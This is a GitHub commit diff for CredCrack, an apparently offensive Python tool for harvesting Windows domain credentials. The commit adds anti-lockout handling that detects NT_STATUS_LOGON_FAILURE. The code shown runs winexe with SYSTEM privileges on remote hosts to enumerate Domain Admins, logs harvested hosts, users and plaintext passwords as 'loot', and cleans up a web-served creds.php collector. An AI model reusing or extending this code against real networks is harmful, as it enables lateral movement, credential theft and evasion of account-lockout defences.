Skip to content

Commit 87e3399

Browse files
committed
Anti-lockout feature implemented
CredCrack now detects when the supplied credentials return an "NT_STATUS_LOGON_FAILURE" meaning the credentials are wrong. To prevent an account from being locked out, CredCrack now terminates as soon as it detects bad credentials.
1 parent c901ad2 commit 87e3399

File tree

1 file changed

+29
-16
lines changed

1 file changed

+29
-16
lines changed

credcrack.py

Lines changed: 29 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -41,6 +41,8 @@ class colors:
4141
white = "\033[1;37m"
4242
green = "\033[1;32m"
4343

44+
class LoginFailure(Exception): pass
45+
4446
#----------------------------------------#
4547
# SETUP #
4648
#----------------------------------------#
@@ -174,16 +176,21 @@ def get_das(rhost, username, password, domain):
174176

175177
try:
176178
print "{}[*]{} Querying domain admin group from {}".format(colors.blue, colors.normal, rhost.rstrip())
177-
da_output = subprocess.check_output(split("winexe --system //{} -U {}/{}%{} 'cmd /c net group \"Domain Admins\" /domain'".format(rhost, domain, username, password)))
178-
179-
for line in da_output.split('\n')[8:]:
180-
if "The command completed" in line:
181-
pass
182-
else:
183-
for da in line.strip().split():
184-
if da:
185-
das.append(da)
186-
return das
179+
process = subprocess.Popen(split("winexe --system //{} -U {}/{}%{} 'cmd /c net group \"Domain Admins\" /domain'".format(rhost, domain, username, password)), stderr=subprocess.PIPE, stdout=subprocess.PIPE)
180+
da_output = process.stdout.read()
181+
error = process.stderr.read()
182+
183+
if error and "NT_STATUS_LOGON_FAILURE" in error:
184+
return "NT_STATUS_LOGON_FAILURE"
185+
else:
186+
for line in da_output.split('\n')[8:]:
187+
if "The command completed" in line:
188+
pass
189+
else:
190+
for da in line.strip().split():
191+
if da:
192+
das.append(da)
193+
return das
187194

188195
except Exception as e:
189196
print "{}[!]{} Unable to reach to {}".format(colors.red, colors.normal, rhost)
@@ -283,10 +290,10 @@ def output(credentials, das):
283290
print "{w}[*]{lg} Host: {r} Domain: {d} User: {u} Password: {p}{n}".format(w=colors.white, lg=colors.lightgrey, r=cred[0], d=cred[1], u=cred[2], p=cred[3], n=colors.normal)
284291
f.write("[*] Host: {r} Domain: {d} User: {u} Password: {p}\n".format(r=cred[0], d=cred[1], u=cred[2], p=cred[3]))
285292
if da_counter:
286-
print "\n {y}{dac}{n} domain administrators found and highlighted in yellow above!".format(y=colors.yellow, dac=da_counter, n=colors.normal)
293+
print "\n {y}{dac}{n} domain administrators found and highlighted in yellow above!\n".format(y=colors.yellow, dac=da_counter, n=colors.normal)
287294
return True
288295
else:
289-
print "\n{red}[!]{n} No Loot?! Argh!".format(red=colors.red, n=colors.normal)
296+
print "\n{red}[!]{n} No Loot?! Argh!\n".format(red=colors.red, n=colors.normal)
290297
return False
291298
except Exception as e:
292299
print '{red}[!]{n} Error outputting loot. {exc}'.format(red=colors.red, n=colors.normal, exc=e)
@@ -296,7 +303,7 @@ def output(credentials, das):
296303
#----------------------------------------#
297304

298305
def clean_up(flag, stime):
299-
print "\n{}[*]{} Cleaning up".format(colors.blue, colors.normal)
306+
print "{}[*]{} Cleaning up".format(colors.blue, colors.normal)
300307
try:
301308
if flag: #script completed successfully
302309
os.remove(os.path.join('/var/www', 'creds.php'))
@@ -305,8 +312,7 @@ def clean_up(flag, stime):
305312
if os.path.exists(os.path.join(os.getenv('HOME'), 'CCloot')):
306313
dirname = os.path.join(os.getenv('HOME'), 'CCloot_{}'.format(datetime.datetime.now().strftime('%Y%m%d_%H:%M:%S')))
307314
os.rename('/tmp/CCloot', dirname )
308-
os.chmod(dirname, 0700)
309-
315+
os.chmod(dirname, 0700)
310316
else:
311317
dirname = os.path.join(os.getenv('HOME'), 'CCloot')
312318
os.rename('/tmp/CCloot', dirname)
@@ -374,13 +380,17 @@ def main():
374380
if args.rhost:
375381
if validate(args.rhost):
376382
das = get_das(args.rhost, args.user, args.passwd, args.domain)
383+
if "NT_STATUS_LOGON_FAILURE" in das:
384+
raise LoginFailure(args.rhost)
377385
q.put(args.rhost)
378386
if args.file:
379387
with open (args.file) as f:
380388
lines = [ip.strip() for ip in f.readlines() if ip.strip() and validate(ip.strip())]
381389
for line in lines:
382390
das = get_das(line, args.user, args.passwd, args.domain)
383-
if not das: #put the host on a bad list
391+
if "NT_STATUS_LOGON_FAILURE" in das:
392+
raise LoginFailure(line)
393+
elif not das: #put the host on a bad list
384394
badhost.append(lines[lines.index(line)])
385395
else: #we got our domain admin list
386396
if badhost: #if badhosts, filter before queue
@@ -412,6 +422,9 @@ def main():
412422
except IOError:
413423
print "{}[!]{} File: {} does not exist.".format(colors.red, colors.normal, args.file)
414424
clean_up(False, stime)
425+
except LoginFailure as e:
426+
print "{}[!]{} Login Failure on {}, ensure you have entered the correct credentials\n".format(colors.red, colors.normal, e)
427+
clean_up(False, stime)
415428

416429
if __name__ == '__main__':
417430
main()

0 commit comments

Comments
 (0)